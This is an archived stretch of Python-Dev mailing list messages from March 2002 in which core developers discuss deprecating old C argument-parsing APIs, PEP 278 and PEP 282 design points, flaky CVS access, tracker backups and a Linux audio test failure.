In-Reply-To: "Fred L. Drake, Jr."'s message of "Mon, 25 Mar 2002 15:24:49 -0500"
References: <15519.34705.385863.333370@grendel.zope.com>
Message-ID: <2m7ko0e68v.fsf@starship.python.net>

"Fred L. Drake, Jr." <fdrake@acm.org> writes:

> Please don't check anything into the Doc/ tree on the
> release22-maint branch.  Thanks.

Actually, please don't check anything into anywhere on the
release22-maint branch, unless you're me, Tim, Fred or Jack, or have
been told to by one of us.

Cheers,
M.

-- 
  Important data should not be entrusted to Pinstripe, as it may
  eat it and make loud belching noises.
   -- from the announcement of the beta of "Pinstripe" aka. Redhat 7.0


From neal@metaslash.com  Mon Mar 25 20:39:43 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 25 Mar 2002 15:39:43 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3C9F8B0F.D921E530@metaslash.com>

"Martin v. Loewis" wrote:
> 
> Neal Norwitz <neal@metaslash.com> writes:
> 
> > Should the use of PyArg_NoArgs() be deprecated?
> >
> > There are many uses (53) throughout Modules/*.c.  It seems that this
> > check is not useful anymore if the MethodDef is set to METH_NOARGS.
> > Is this correct?  If so, I can make a patch.
> 
> I would prefer if you could simultaneously remove occurences of
> METH_OLDARGS (introducing METH_O where possible), so that modules get
> cleaned-up entirely, rather than just replacing the easy parts :-)

Ok, I guess I can go a little further... :-)

There are about 238 uses of METH_OLDARGS, all but 2 are in Modules/.
I don't know how to fix the other 2:

Objects/fileobject.c:   {"readinto", METH_OLDARGS, 
Python/sysmodule.c:     {"exit",     METH_OLDARGS, 

But I will take a look at the other Modules.

> The reason why such changes haven't been applied to all modules is
> that some of the modules are old in themselves, and I would have no
> way to verify that the module is working properly after the changes.

Yes, this could be a problem, but it is very early on in 2.3.  
But if the modules aren't used at all, no one will notice. :-)

I will start by checking in all the more current modules:  
	_curses_panel, _localemodule, bsddbmodule, md5module, 
	pwdmodule, readline, signalmodule, threadmodule

Other modules which I've fixed, but can't test:  
	clmodule, flmodule, fmmodule, glmodule, nismodule

nis should be testable by someone.

On a related note, PyArg_GetInt() macro is used exactly one time--
in socketmodule.c  There seem to be many more places where this
could be used.  Should I use or remove the macro?  Or doc
that it should not be used?

Neal


From fdrake@acm.org  Mon Mar 25 20:37:41 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Mon, 25 Mar 2002 15:37:41 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020325203741.2CD5118EAD0@grendel.zope.com>

The development version of the documentation has been updated:

    http://python.sourceforge.net/maint-docs/

Documentation for Python 2.2.1 release candidate 2.


From guido@python.org  Mon Mar 25 20:52:19 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 15:52:19 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
In-Reply-To: Your message of "Mon, 25 Mar 2002 15:39:43 EST."
 <3C9F8B0F.D921E530@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
 <3C9F8B0F.D921E530@metaslash.com>
Message-ID: <200203252052.g2PKqJa08509@pcp742651pcs.reston01.va.comcast.net>

> I don't know how to fix the other 2:
> 
> Objects/fileobject.c:   {"readinto", METH_OLDARGS, 

This seems a simple case of replacing PyArg_Parse with
PyArg_ParseTuple.

> Python/sysmodule.c:     {"exit",     METH_OLDARGS, 

This one *appears* tricky.  But in fact, changing it to METH_VARARGS
should work just as well (I think).

> nis should be testable by someone.

Or deprecated.  I've never met somebody who used it.

> On a related note, PyArg_GetInt() macro is used exactly one time--
> in socketmodule.c  There seem to be many more places where this
> could be used.  Should I use or remove the macro?  Or doc
> that it should not be used?

It's deprecated, just as PyArg_NoArgs().  Now's a good time to get rid
of the last usage instance.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 25 21:16:02 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 16:16:02 -0500
Subject: [Python-Dev] PEP 278 - finished?
In-Reply-To: Your message of "Sun, 24 Mar 2002 00:25:44 +0100."
 <4C43A7EF-3EB5-11D6-899A-003065517236@oratrix.com>
References: <4C43A7EF-3EB5-11D6-899A-003065517236@oratrix.com>
Message-ID: <200203252116.g2PLG2M08680@pcp742651pcs.reston01.va.comcast.net>

> As far as I know I've addressed all outstanding issues in PEP 
> 278, http://python.sourceforge.net/peps/pep-0278.html and in the 
> accompanying patch.

I'm cautiously in favor of this, but a few more things need to be
addressed.

I didn't study the patch too carefully, so I'll ask:  When this is
disabled through the configure flag, is the 'U' mode still recognized?
I think it ought to be allowed then (and mean simply text mode) so
that Python code opening files in universal mode doesn't have to be
prepared for that situation (it can't use the newlines attribute, but
that's rarely needed I expect).

Before we go ahead, I'd like MvL and MAL to have a look at the patch
to see if there would be interactions with their implementation plans
for PEP 262.

I still think that this PEP is a big hack -- but as big hacks go, it
seems to have a pretty good payback.

I'm hoping that eventually the parser (really the lexer) will be able
to open the file in binary mode and recognize all three newline styles
directly.  That would solve the problems with exec, eval, and compile.

Missing:

- docs for the new open mode and file attributes (!!!)

- docs for the --with-universal-newlines flag in README

- the linecache and py_compile modules should use mode 'U' (any others?)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Mon Mar 25 21:32:07 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 25 Mar 2002 15:32:07 -0600
Subject: [Python-Dev] CVS server hosed?
Message-ID: <15519.38743.513453.64563@beluga.mojam.com>

V2hlbiBJIHRyeSBjdnMgdXAgSSBnZXQNCg0KICAgIHNzaF9leGNoYW5nZV9pZGVudGlmaWNh
dGlvbjogQ29ubmVjdGlvbiBjbG9zZWQgYnkgcmVtb3RlIGhvc3QNDQogICAgY3ZzIFt1cGRh
dGUgYWJvcnRlZF06IGVuZCBvZiBmaWxlIGZyb20gc2VydmVyIChjb25zdWx0IGFib3ZlIG1l
c3NhZ2VzIGlmIGFueSkNCg0KVGhpcyBqdXN0IHN0YXJ0ZWQgaW4gdGhlIGxhc3QgZmV3IG1p
bnV0ZXMuICBJcyB0aGUgQ1ZTIHNlcnZlciBkb3duIG9yIHNpY2s/DQoNClNraXANCg==


From nas@python.ca  Mon Mar 25 21:59:34 2002
From: nas@python.ca (Neil Schemenauer)
Date: Mon, 25 Mar 2002 13:59:34 -0800
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <15519.38743.513453.64563@beluga.mojam.com>; from skip@pobox.com on Mon, Mar 25, 2002 at 03:32:07PM -0600
References: <15519.38743.513453.64563@beluga.mojam.com>
Message-ID: <20020325135934.A27084@glacier.arctrix.com>

Works for me.

  Neil


From fdrake@acm.org  Mon Mar 25 21:54:33 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 25 Mar 2002 16:54:33 -0500
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <15519.38743.513453.64563@beluga.mojam.com>
References: <15519.38743.513453.64563@beluga.mojam.com>
Message-ID: <15519.40089.72835.6873@grendel.zope.com>

DQpTa2lwIE1vbnRhbmFybyB3cml0ZXM6DQogPiBXaGVuIEkgdHJ5IGN2cyB1cCBJIGdldA0K
ID4gDQogPiAgICAgc3NoX2V4Y2hhbmdlX2lkZW50aWZpY2F0aW9uOiBDb25uZWN0aW9uIGNs
b3NlZCBieSByZW1vdGUgaG9zdA0NCiA+ICAgICBjdnMgW3VwZGF0ZSBhYm9ydGVkXTogZW5k
IG9mIGZpbGUgZnJvbSBzZXJ2ZXIgKGNvbnN1bHQgYWJvdmUgbWVzc2FnZXMgaWYgYW55KQ0K
ID4gDQogPiBUaGlzIGp1c3Qgc3RhcnRlZCBpbiB0aGUgbGFzdCBmZXcgbWludXRlcy4gIElz
IHRoZSBDVlMgc2VydmVyIGRvd24gb3Igc2ljaz8NCg0KSXQgZGlkIHRoYXQgZm9yIG1lIGZv
ciBhIHdoaWxlIHRoaXMgbW9ybmluZy4gIE5vdCBzdXJlIHdoYXQgY2F1c2VzIGl0LA0KYnV0
IGl0IHdlbnQgYXdheSBiZWZvcmUgdG9vIGxvbmcuDQoNCldlIHNob3VsZCBiZSB2ZXJ5IHN1
c3BpY2lvdXMuICBJJ3ZlIG5vdCByZWNlaXZlZCBhbnkgZmVlZGJhY2sgZnJvbSBteQ0KbGFz
dCBjaGVjayBvZiB0aGUgWE1MIGV4cG9ydCBtYWNoaW5lcnk6DQoNCmh0dHA6Ly9zb3VyY2Vm
b3JnZS5uZXQvdHJhY2tlci9pbmRleC5waHA/ZnVuYz1kZXRhaWwmYWlkPTUyOTAzMSZncm91
cF9pZD0xJmF0aWQ9MjAwMDAxDQoNCg0KICAtRnJlZA0KDQotLSANCkZyZWQgTC4gRHJha2Us
IEpyLiAgPGZkcmFrZSBhdCBhY20ub3JnPg0KUHl0aG9uTGFicyBhdCBab3BlIENvcnBvcmF0
aW9u



From skip@pobox.com  Mon Mar 25 22:04:50 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 25 Mar 2002 16:04:50 -0600
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <20020325135934.A27084@glacier.arctrix.com>
References: <15519.38743.513453.64563@beluga.mojam.com>
 <20020325135934.A27084@glacier.arctrix.com>
Message-ID: <15519.40706.920254.903889@beluga.mojam.com>

    Neil> Works for me.

Thanks for the various replies.  The problem does seem to come and go, so
perhaps Guido's suspicion that a single machine of many is ill is the
correct interpretation.

(Fred's response worries me though.  Do we make directory-level backups of
the CVS repository?)

Skip



From skip@pobox.com  Mon Mar 25 22:13:02 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 25 Mar 2002 16:13:02 -0600
Subject: [Python-Dev] self._backupfilename in fileinput
Message-ID: <15519.41198.502986.850719@beluga.mojam.com>

Working my way through the unqualified except: clauses, I found one in
fileinput.py that looks very straightforward:

    try: os.unlink(backupfilename)
    except: pass

To make sure that OSError was all that could be raised I started looking at
what values backupfilename could assume.  Then I started looking at
self._backupfilename.  This weird beast takes on values of three distinct
types: None, 0, and various strings.  

While it's not technically broken, is this something worth fixing?  My
inclination is to just add OSError to the except clause and let someone else
worry about fixing something that's ugly but not really broken.

Skip


From tim.one@comcast.net  Mon Mar 25 22:10:56 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 17:10:56 -0500
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <15519.38743.513453.64563@beluga.mojam.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEKIOHAA.tim.one@comcast.net>

[Skip Montanaro]
> Is the CVS server down or sick?

Works for me.  OTOH, the latest bug report:

    http://www.python.org/sf/534864

doesn't display any "Submit changes" buttons when I view it.  All other bug
reports I've tried do.  I bumped into this while trying to assign the
referenced bug to Fred (it's a crash when profiling XML code:  it combines
Fred's two favorite topics <wink>).



From tim.one@comcast.net  Mon Mar 25 22:13:37 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 17:13:37 -0500
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <15519.40706.920254.903889@beluga.mojam.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEKJOHAA.tim.one@comcast.net>

[Skip Montanaro]
> (Fred's response worries me though.  Do we make directory-level backups
> of the CVS repository?)

Barry has something set up to suck down the whole CVS tarball, I think every
night.

Fred was talking about the non-working feature that's supposed to give you
an XML dump of the trackers (bugs, patches, feature requests).  We don't
have any backup for those, and that is worrying.



From guido@python.org  Mon Mar 25 22:17:17 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 17:17:17 -0500
Subject: [Python-Dev] self._backupfilename in fileinput
In-Reply-To: Your message of "Mon, 25 Mar 2002 16:13:02 CST."
 <15519.41198.502986.850719@beluga.mojam.com>
References: <15519.41198.502986.850719@beluga.mojam.com>
Message-ID: <200203252217.g2PMHHV09241@pcp742651pcs.reston01.va.comcast.net>

> Working my way through the unqualified except: clauses, I found one in
> fileinput.py that looks very straightforward:
> 
>     try: os.unlink(backupfilename)
>     except: pass
> 
> To make sure that OSError was all that could be raised I started looking at
> what values backupfilename could assume.  Then I started looking at
> self._backupfilename.  This weird beast takes on values of three distinct
> types: None, 0, and various strings.  

If you read the context of the try/except clause, it's clear that it
can't be None or 0 at that point.

> While it's not technically broken, is this something worth fixing?  My
> inclination is to just add OSError to the except clause and let someone else
> worry about fixing something that's ugly but not really broken.

Note that None and 0 are used for the same purpose.  I think 0 is used
to avoid referencing any globals in code called from the __del__
method.  You might change the code to use "" instead of None or 0, but
I wouldn't bother.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 25 22:19:20 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 17:19:20 -0500
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: Your message of "Mon, 25 Mar 2002 17:10:56 EST."
 <LNBBLJKPBEHFEDALKOLCEEKIOHAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEKIOHAA.tim.one@comcast.net>
Message-ID: <200203252219.g2PMJK609283@pcp742651pcs.reston01.va.comcast.net>

> Works for me.  OTOH, the latest bug report:
> 
>     http://www.python.org/sf/534864
> 
> doesn't display any "Submit changes" buttons when I view it.

Yes it does -- just scroll right several page widths.  There's
a line with a very long word in the description.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Mon Mar 25 22:26:23 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 25 Mar 2002 23:26:23 +0100
Subject: [Python-Dev] Use of PyArg_NoArgs()
In-Reply-To: <200203252052.g2PKqJa08509@pcp742651pcs.reston01.va.comcast.net>
References: <3C9F4AC0.C076679B@metaslash.com>
 <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
 <3C9F8B0F.D921E530@metaslash.com>
 <200203252052.g2PKqJa08509@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3adsw8esw.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > Python/sysmodule.c:     {"exit",     METH_OLDARGS, 
> 
> This one *appears* tricky.  But in fact, changing it to METH_VARARGS
> should work just as well (I think).

I agree, but a comment that args will be always a tuple seems appropriate.

> > nis should be testable by someone.
> 
> Or deprecated.  I've never met somebody who used it.

You met me :-) I found a need to parse auto.home on Linux, once.

Regards,
Martin


From tim.one@comcast.net  Mon Mar 25 22:28:25 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 17:28:25 -0500
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <200203252219.g2PMJK609283@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEKLOHAA.tim.one@comcast.net>

>> Works for me.  OTOH, the latest bug report:
>>
>>     http://www.python.org/sf/534864
>>
>> doesn't display any "Submit changes" buttons when I view it.

[Guido]
> Yes it does -- just scroll right several page widths.  There's
> a line with a very long word in the description.

Woo hoo!  So it does.  Fred & I thank you.  How about you fix XML export
next?



From barry@zope.com  Mon Mar 25 22:29:45 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 25 Mar 2002 17:29:45 -0500
Subject: [Python-Dev] CVS server hosed?
References: <15519.38743.513453.64563@beluga.mojam.com>
 <15519.40089.72835.6873@grendel.zope.com>
Message-ID: <15519.42201.703709.720468@anthem.wooz.org>

>>>>> "Fred" == Fred L Drake, Jr <fdrake@acm.org> writes:

    Fred> It did that for me for a while this morning.  Not sure what
    Fred> causes it, but it went away before too long.

    Fred> We should be very suspicious.

Not necessarily.  It happens to me quite a bit, and usually just goes
away.

-Barry


From barry@zope.com  Mon Mar 25 22:31:18 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 25 Mar 2002 17:31:18 -0500
Subject: [Python-Dev] CVS server hosed?
References: <15519.38743.513453.64563@beluga.mojam.com>
 <20020325135934.A27084@glacier.arctrix.com>
 <15519.40706.920254.903889@beluga.mojam.com>
Message-ID: <15519.42294.376403.54580@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> (Fred's response worries me though.  Do we make
    SM> directory-level backups of the CVS repository?)

Yes.  We still don't make backups of the tracker data though.  I
thought you (or someone else) were working on that...?

-Barry


From tim.one@comcast.net  Mon Mar 25 22:49:02 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 17:49:02 -0500
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <15519.42294.376403.54580@anthem.wooz.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEKNOHAA.tim.one@comcast.net>

[Barry, to Fred]
> Yes.  We still don't make backups of the tracker data though.  I
> thought you (or someone else) were working on that...?

Fred was.  The SourceForge export facility doesn't work for Python.  He
filed a bug report a few weeks ago.  They boosted it to priority 9, but the
bug report is still open and export-from-Python still doesn't work.



From neal@metaslash.com  Mon Mar 25 22:50:57 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 25 Mar 2002 17:50:57 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
 <3C9F8B0F.D921E530@metaslash.com> <200203252052.g2PKqJa08509@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C9FA9D1.DA46BE04@metaslash.com>

Guido van Rossum wrote:
> 
> > Python/sysmodule.c:     {"exit",     METH_OLDARGS,
> 
> This one *appears* tricky.  But in fact, changing it to METH_VARARGS
> should work just as well (I think).

The only problem I ran into just using METH_VARARGS is that 
the parameter is always printed.  So I used PyArg_ParseTuple()
and passed that object to PyErr_SetObject(PyExc_SystemExit, exit_code).
This works as before wrt printing.  However, you can no longer
pass an arbitrary number of parameters, either 0 or 1.  Is this ok?

> > On a related note, PyArg_GetInt() macro is used exactly one time--
> > in socketmodule.c  There seem to be many more places where this
> > could be used.  Should I use or remove the macro?  Or doc
> > that it should not be used?
> 
> It's deprecated, just as PyArg_NoArgs().  Now's a good time to get rid
> of the last usage instance.

Both PyArg_GetInt() & PyArg_NoArgs() both have comments above them
stating they should not be used.  There are no more occurances 
of PyArg_GetInt().  I'm working on reducing METH_OLDARGS, down to 214.

If you want I can remove them from Include/Python.h when done.  
If so, should I write up anything in NEWS?

Neal


From guido@python.org  Mon Mar 25 23:00:12 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 18:00:12 -0500
Subject: [Python-Dev] Use of PyArg_NoArgs()
In-Reply-To: Your message of "Mon, 25 Mar 2002 17:50:57 EST."
 <3C9FA9D1.DA46BE04@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com> <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de> <3C9F8B0F.D921E530@metaslash.com> <200203252052.g2PKqJa08509@pcp742651pcs.reston01.va.comcast.net>
 <3C9FA9D1.DA46BE04@metaslash.com>
Message-ID: <200203252300.g2PN0DY09544@pcp742651pcs.reston01.va.comcast.net>

> Guido van Rossum wrote:
> > 
> > > Python/sysmodule.c:     {"exit",     METH_OLDARGS,
> > 
> > This one *appears* tricky.  But in fact, changing it to METH_VARARGS
> > should work just as well (I think).

[Neal]
> The only problem I ran into just using METH_VARARGS is that 
> the parameter is always printed.

Oops.  That's wrong.

> So I used PyArg_ParseTuple()
> and passed that object to PyErr_SetObject(PyExc_SystemExit, exit_code).
> This works as before wrt printing.  However, you can no longer
> pass an arbitrary number of parameters, either 0 or 1.  Is this ok?

It's documented as having one optional arg.  It might break code if we
disallow multiple args, but I don't think I care.  So, yes, OK.

> > > On a related note, PyArg_GetInt() macro is used exactly one time--
> > > in socketmodule.c  There seem to be many more places where this
> > > could be used.  Should I use or remove the macro?  Or doc
> > > that it should not be used?
> > 
> > It's deprecated, just as PyArg_NoArgs().  Now's a good time to get rid
> > of the last usage instance.
> 
> Both PyArg_GetInt() & PyArg_NoArgs() both have comments above them
> stating they should not be used.  There are no more occurances 
> of PyArg_GetInt().  I'm working on reducing METH_OLDARGS, down to 214.
> 
> If you want I can remove them from Include/Python.h when done.  

Has the api documentation documented them as obsolete?  If so, or if
they were undocumented, yes, please remove them.  If not, I'd see if
there's a way to turn these into warnings for one release.

> If so, should I write up anything in NEWS?

Yes, I think so.  It's always good to announce explicitly when
a previously deprecated item actually gets deleted, no matter how
small.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@barrys-emacs.org  Mon Mar 25 23:23:07 2002
From: barry@barrys-emacs.org (Barry Scott)
Date: Mon, 25 Mar 2002 23:23:07 -0000
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15519.26423.62765.338619@anthem.wooz.org>
Message-ID: <001c01c1d454$0562b1a0$070210ac@LAPDANCE>

I think having a default implementation of logging is a good idea.

We have a number of logging systems for python that we have needed.
PEP 282 would eliminate some of the logging code we have.

Getting the logging system right is not easy. From the design
discussions we have been through for a C++ logging system recently
I would argue that the importance order is wrong.

FRom PEP 282
 DEBUG
 INFO
 WARN
 ERROR
 FATAL

Suggested
 DEBUG
 WARN
 INFO
 ERROR
 FATAL

The reasoning is that INFO messages affirms actions (Example: user logged
on, call placed),
whereas WARN messages can frequently be ignored. (Example: disk space is
running low,
old interface used)

Of course if you implement them a categories instead of an ordered sequence
the user can turn
on and off the categories that are interesting.

		Barry




From barry@zope.com  Mon Mar 25 23:24:42 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 25 Mar 2002 18:24:42 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
Message-ID: <15519.45498.261453.988021@anthem.wooz.org>

Has anybody else run the test suite for Py2.3cvs under Mandrake 8.2?
I'm seeing some very weird problems, but my komputer karma is running
a bit sour today, so I wanted some confirmation.  Maybe I should move
to Montana soon.

Specifically, the first time I ran it earlier today (fresh cvs update,
make distclean, configure, make test), the test suite hung in
test_linuxaudiodev.  Running that test manually also produced a hang.
These weren't killable, even with kill -9, C-\, or C-z, and couldn't
be gdb attached to.

So I rebooted and tried again.  This time the tests don't hang but
they do fail:

test test_linuxaudiodev crashed -- linuxaudiodev.error: (0, 'Error')

Hmm.

gonna-be-a-mental-toss-flycoon-ly y'rs,
-Barry


From vinay_sajip@red-dove.com  Mon Mar 25 23:28:22 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Mon, 25 Mar 2002 23:28:22 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com> <20020321193747.C26767@ActiveState.com> <3C9F5CBB.C44BC3AD@zope.com>
Message-ID: <016501c1d454$c2fbae60$652b6992@alpha>

[Jim Fulton]
> We have a need to make it easy to include error traceback in logs
> regardless of the level.
I believe we have two possible mechanisms now: either
(a) define a specific method which always includes tracebacks, and pass the
level as a parameter:
  def exception(self, level, msg, *args):
     # log 'msg % args' with traceback at specified level

(b) use a keyword parameter on all of debug(), info(), warn(), error() and
fatal(), all of which will have a common signature, for example

  def debug(self, msg, *args, **kwargs)
    # log 'msg % args' at DEBUG level, include traceback if kwargs
["exc_info"] evaluates to true.

I'm equally comfortable with either approach. Though I share your
reservations about kwargs, I'm persuaded by Kevin Butler's argument that the
kwargs way allows greater extensibility. But either way will allow Zope
logging the flexibility that Jeremy advocated.

>   D. Provide an exception formatter that delays formatting until a message
>      is logged. I don't like this so much because I'd prefer that the
decision
>      about whether to show a tracebeck be a policy of the back end.

Formatting of the arguments is delayed for as long as possible after
logging. A caller can check that the logger would actually record an event
before bothering to compute the arguments for the message.

if logger.isEnabledFor(logging.WARN):
  # compute arguments arg1, arg2 etc. (could be expensive)
  logger.warn(msg, arg1, arg2)

Regards

Vinay Sajip





From vinay_sajip@red-dove.com  Mon Mar 25 23:39:20 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Mon, 25 Mar 2002 23:39:20 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <001c01c1d454$0562b1a0$070210ac@LAPDANCE>
Message-ID: <01a401c1d456$4d693120$652b6992@alpha>

[Barry Scott]
> Getting the logging system right is not easy. From the design
> discussions we have been through for a C++ logging system recently
> I would argue that the importance order is wrong.
>
> FRom PEP 282
>  DEBUG
>  INFO
>  WARN
>  ERROR
>  FATAL
>
> Suggested
>  DEBUG
>  WARN
>  INFO
>  ERROR
>  FATAL
>
> The reasoning is that INFO messages affirms actions (Example: user logged
> on, call placed),
> whereas WARN messages can frequently be ignored. (Example: disk space is
> running low,
> old interface used)
>
> Of course if you implement them a categories instead of an ordered
sequence
> the user can turn
> on and off the categories that are interesting.
In the proposed implementation, you can implement whatever order you need
for your application. But the suggested order in PEP282 makes more sense to
me because INFO messages require no specific actions, whereas WARN messages
do invite actions. Of course they can be ignored, though sometimes at peril
of inviting disaster (e.g. if disk space actually gets exhausted). So the
rationale is -

DEBUG - detail information, of use to developers trying to diagnose the
cause of a problem.
INFO - give you a warm feeling that things are going according to plan.
WARN upwards - indication that some remedial action is required, with an
indication of how bad things could get.

Regards

Vinay



From tim.one@comcast.net  Mon Mar 25 23:40:46 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 18:40:46 -0500
Subject: [Python-Dev] Developer's guide Web pages
In-Reply-To: <20020325105352.B26198@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKELEOHAA.tim.one@comcast.net>

[Neil Schemenauer]
> You should stress the importance of running the test suite before
> committing any changes to CVS.  I wonder sometimes if we could use a
> tool like Aegis to enforce this rule.

Most days it seems we already have a slightly-delayed tool for this, called
"Tim" <wink>.  Unfortunately, it doesn't catch non-Windows glitches.

The new pages are great, Andrew!  My only gripe:  bulleted lists have no
vertical whitespace between bullet points, when viewed under (at least) IE
6.  This makes them hard to read, and even misleading when a bullet item
contains more than one paragraph.

o This is the first bullet point, and yadda
  yadda yadda.
o This is the second bullet point, and
  so likewise.
o This is the third bullet point.

  This is not the fourth bullet point, it's
  another paragraph in the third.
o But this is the fourth bullet point.

I guess the prime advantage of style sheets is that they're an easy way to
screw up a whole site at once <wink>.



From suzuki611@oki.com  Tue Mar 26 00:02:15 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Tue, 26 Mar 2002 09:02:15 +0900
Subject: PEP 263 phase 2 implementation (Re: [Python-Dev] PEP 263 considered faulty (for some Japanese))
In-Reply-To: <m31yegxpwn.fsf@mira.informatik.hu-berlin.de> (martin@v.loewis.de)
Message-ID: <200203260002.JAA10304@suzuki611.ngo.okisoft.co.jp>

> > N.B. one should write a binary (not character, but, say, image
> > or audio) data literal as follows:
> > 
> > 	b = '\x89\xAB\xCD\xEF'
> 
> I completely agree. Binary data should use hex escapes. That will make
> an interesting challenge for any stage 2 implementation, BTW: \xAB
> shall denote byte 0x89 no matter what the input encoding was. So you
> cannot convert \xAB to a Unicode character, and expect conversion to
> the input encoding to do the right thing. Instead, you must apply the
> conversion to the source encoding only for the unescaped characters.

Note that it is _not_ a challenge for my implementation at all.
You can use your binary strings as they are at present.  Please
try it.

> People had been proposing to introduce b'' strings for binary data, to
> allow to switch 'plain' strings to denote Unicode strings at some
> point, but this is a different PEP.

I think you need not introduce b'' strings at all; you can keep
it simple as it is.

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@oki.com>


From guido@python.org  Tue Mar 26 00:54:04 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 19:54:04 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
In-Reply-To: Your message of "Mon, 25 Mar 2002 18:24:42 EST."
 <15519.45498.261453.988021@anthem.wooz.org>
References: <15519.45498.261453.988021@anthem.wooz.org>
Message-ID: <200203260054.g2Q0s4H10911@pcp742651pcs.reston01.va.comcast.net>

> Specifically, the first time I ran it earlier today (fresh cvs update,
> make distclean, configure, make test), the test suite hung in
> test_linuxaudiodev.  Running that test manually also produced a hang.
> These weren't killable, even with kill -9, C-\, or C-z, and couldn't
> be gdb attached to.
> 
> So I rebooted and tried again.  This time the tests don't hang but
> they do fail:
> 
> test test_linuxaudiodev crashed -- linuxaudiodev.error: (0, 'Error')

Fred has a good solution for this:

  chmod 0 /dev/audio

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Tue Mar 26 01:11:36 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 25 Mar 2002 19:11:36 -0600
Subject: [Python-Dev] CVS server hosed?
In-Reply-To: <15519.42294.376403.54580@anthem.wooz.org>
References: <15519.38743.513453.64563@beluga.mojam.com>
 <20020325135934.A27084@glacier.arctrix.com>
 <15519.40706.920254.903889@beluga.mojam.com>
 <15519.42294.376403.54580@anthem.wooz.org>
Message-ID: <15519.51912.395310.335208@12-248-41-177.client.attbi.com>

    SM> (Fred's response worries me though.  Do we make directory-level
    SM> backups of the CVS repository?)

    BAW> Yes.  We still don't make backups of the tracker data though.  I
    BAW> thought you (or someone else) were working on that...?

All I've got is a little screen scraper that diffs the current set of bugs
and patches with a local snapshot.  Once a bug is closed, it disappears from
the screen I scrape, and then from my local database.

I think Jeremy has a tool that downloads the entire set of open bugs into a
local ZODB.

Skip


From tim.one@comcast.net  Tue Mar 26 01:11:37 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 25 Mar 2002 20:11:37 -0500
Subject: [Python-Dev] RE: [Python-checkins] CVS: python/dist/src/Lib pickle.py,1.57,1.58
